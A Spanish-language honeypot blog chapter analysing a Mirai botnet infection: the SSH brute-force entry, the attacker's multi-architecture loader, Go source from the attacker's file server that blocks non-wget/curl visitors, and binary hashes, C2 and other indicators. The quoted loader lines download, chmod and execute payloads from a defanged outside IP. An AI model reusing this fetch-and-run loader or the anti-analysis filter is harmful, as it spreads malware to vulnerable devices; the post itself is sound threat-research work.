Mirai · Capítulo 3
La botnet que se dejó el código a la vista
Otro entra y suelta su bicho. Pero este se dejó una puerta abierta en su propio servidor de reparto — y dentro estaba el código fuente. Un Mirai multiarquitectura, cazado con las manos en la masa.
Nueva familia en el cebo. Después de los dos capítulos con XorDDoS, esta vez entró un Mirai — la otra gran estirpe de las botnets del IoT. La secuencia de infección es hermana de la anterior, pero con un giro: el atacante se dejó el código fuente de su servidor a la vista. Un regalo de OPSEC que no se rechaza.
Este capítulo es la caza: cómo entró, qué soltó, y qué encontré cuando tiré del hilo hasta su máquina de reparto. El destripe del binario —el bot en sí— va en el Capítulo 4.
01La captura
Otra vez un bot, no una persona. Entró por fuerza bruta y actuó en menos de un segundo, sin explorar.
Los tres pasos que siguen llevan la misma marca de tiempo: ocurrieron dentro de la misma décima de segundo. Ahí está la prueba — ninguna mano teclea tres órdenes en cien milisegundos.
- 0,0 sEntra por SSH con credencial de diccionario (root). El cebo le abre.
- Reconoce la arquitectura: lanza uname -s -v -n -m y mira /proc/version y /etc/os-release. Necesita saber qué CPU tiene la víctima.
- cd /tmp → descarga un guion llamado ok (wget y curl, por si uno falla) → sh ok → rm -rf ok ok.1.
Ese ok es un cargador (loader): no es el bot, es quien trae al bot. Lo capturé entero.
02El cargador, al desnudo
Doce líneas idénticas salvo por un nombre. Cada una descarga un binario, le da permisos, lo ejecuta con un argumento (bc) y lo borra:
# (12 líneas, una por arquitectura de CPU)
wget hxxp://5.182.210[.]174/58bab5; curl -O hxxp://5.182.210[.]174/58bab5
chmod 777 58bab5; ./58bab5 bc; rm -rf 58bab5 58bab5.1
# ...ae754a, 36393a, 6e45aa, fbbca4, f367ae, ab0d64, 1f62ce...Tres cosas que contar de esta pieza:
- Prueba las 12 arquitecturas. Lanza los doce binarios; solo corre el que casa con la CPU de la víctima, los demás fallan en silencio. Cubrir ARM, MIPS, x86, PowerPC, SPARC… es cómo un mismo bot infecta desde una cámara hasta un servidor.
- Nombres que rotan. Cada vez que se pide el ok, trae nombres de fichero distintos (6 hex al azar). Como el galimatías del Capítulo 1, pero llevado al servidor: bloquear por nombre no sirve de nada.
- La etiqueta bc. El argumento con que se ejecuta cada binario es el identificador de campaña que el bot reportará a su central — le dice de qué campaña viene.
El wget y el curl en la misma línea son un cinturón-y-tirantes: si la caja no tiene uno, tiene el otro. Y el .1 del borrado limpia el duplicado que deja curl -O cuando wget ya bajó el fichero. Detalles de alguien que ha visto fallar su guion en máquinas raras.
03El servidor que se dejó la puerta abierta
El ok apunta todo a un servidor: 5.182.210[.]174. Fui a mirarlo — solo lectura, sin tocar nada — y me encontré con la raíz abierta como un listado de directorio. Ahí estaban los binarios… y dos ficheros que no deberían estar: http y http.go. El atacante había dejado a la vista el código fuente de su propio servidor de reparto.
Es un FileServer escrito en Go (su 404 —"404 page not found"— es la huella inconfundible del net/http). Corto, funcional, y con un detalle revelador: un filtro anti-curiosos.
// Permite apenas requisições de wget e curl
if !strings.HasPrefix(userAgent, "curl") &&
!strings.HasPrefix(userAgent, "Wget") &&
!strings.HasPrefix(userAgent, "axel") {
blockedIPs[clientIP] = time.Now().Add(10 * time.Minute)
blockIP(clientIP) // iptables -A INPUT -s IP -j DROP
http.Error(w, "403 Forbidden", http.StatusForbidden)
}Solo sirve el malware a quien se presente como wget, curl o axel. A cualquier otro —un navegador, un escáner, un investigador— lo mete en iptables y lo banea 10 minutos. Es una defensa deliberada contra el análisis: quieren que solo sus víctimas alcancen los ficheros.
04El espécimen
Doce binarios, uno por arquitectura, del tamaño típico de un bot de IoT. Escribí aquí que eran todos ELF estáticos y stripped, sin símbolos. Diez lo son. Dos no. Lo vi volviendo sobre el lote con un file, que es lo primero que hay que hacer y que yo hice sobre tres binarios en vez de sobre los doce.
Uno, de 44.744 bytes, no es estático: está enlazado dinámicamente contra uClibc, así que depende de encontrar sus bibliotecas en la máquina donde caiga. El otro pesa 123.851 bytes, más del doble que sus hermanos, y por una razón concreta: no está stripped. Lleva dentro la información de depuración que a los demás les quitaron.
Y aquí está lo que me escuece, porque el dato llevaba publicado desde el primer día: la ficha de aquí abajo dice 44 KB – 124 KB. Esos dos extremos son exactamente esos dos binarios. El rango que yo mismo publiqué ya estaba diciendo que el lote no era uniforme. Solo había que leerlo.
Que se les colara un binario a medio limpiar es un descuido suyo. Y me ha regalado lo mejor del capítulo.
Un binario sin strip conserva las rutas de la máquina donde se compiló. Estas:
/home/landley/aboriginal/aboriginal/build/temp-armv7l/gcc-core/gcc/config/arm/lib1funcs.asm
/home/landley/aboriginal/aboriginal/build/simple-cross-compiler-armv7l/bin/../cc/includeAboriginal Linux es un juego de compiladores cruzados de Rob Landley — y es exactamente el que venía con el código fuente de Mirai cuando se filtró en 2016. Eso no es una etiqueta de antivirus ni un parecido de cadenas: es la marca del taller donde se fabricó este lote, y sale del propio binario.
Mirai · variante "milnetv4"
El abanico de CPUs cubierto — la razón de ser del loader multiarquitectura:
| Arquitectura | Tamaño | SHA-256 |
|---|---|---|
| x86-64 | 50.176 B | bf0aabf517685756f16b22f4b1907113a1cd160fa7b5ee384cb554b42b311841 |
| ARM | 52.496 B | 8bdbe21eafc7223a75ea9d075237d389e0c39f6370721f1ea36214989e5bab63 |
| MIPS (BE) | 67.496 B | 5c502903694591a219ca263247c4c159967c5838c9a85641f3fb908b983d1e32 |
| MIPS (LE) | 68.632 B | a75a98641037e42abb4c543d90e81dafdae3b27e90972b705a2e9242a5bee123 |
| PowerPC | 50.092 B | 9d44d4d051f6aa3fbc95fab0aae818347a602d655fa7f1fba6267e728d7ff2d3 |
| SPARC | 54.596 B | abda6887930f4e2e1047b39adf23bbf8bdee9e15c7e2101245bb690be7d80488 |
| Motorola m68k | 50.780 B | 3366350561c41f5d15994244bfd7358ca256d16a1e954d7a986bd4d2d50c895e |
| Renesas SH | 46.288 B | 41ac975aa0638b879bade9f672fbcdacb303bc6ceb5e92083b85af9cd440cd04 |
(La tabla lista un representante por familia de CPU: ocho filas para los doce binarios. Las variantes de más —algunas arquitecturas, como ARM, traen varias— quedan fuera, aunque el rango de tamaños de la ficha las abarca a todas.) En sus strings asoma ya, en claro, el C2 (kappadocia.net, 141.98.10.50) — pero el resto de su configuración y todas sus órdenes están cifradas. Ese es el trabajo del próximo capítulo.
05Indicadores (IOCs)
| Tipo | Valor |
|---|---|
| IP atacante (loader) | 45.198.224.26 |
| Servidor de reparto | hxxp://5.182.210[.]174 (FileServer en Go) |
| C2 del bot | kappadocia.net · 141.98.10.50 |
| Identificador de campaña | argumento "bc" |
| Filtro del servidor | solo UA curl / Wget / axel · resto → iptables DROP 10 min |
| SHA-256 (x86-64) | bf0aabf517685756f16b22f4b1907113a1cd160fa7b5ee384cb554b42b311841 |
Continuará — el bot guarda su C2 y sus órdenes en clave. En el Capítulo 4 lo abro con Ghidra: el descifrado, el nombre real de la botnet y su arsenal completo. 🍯
Comentarios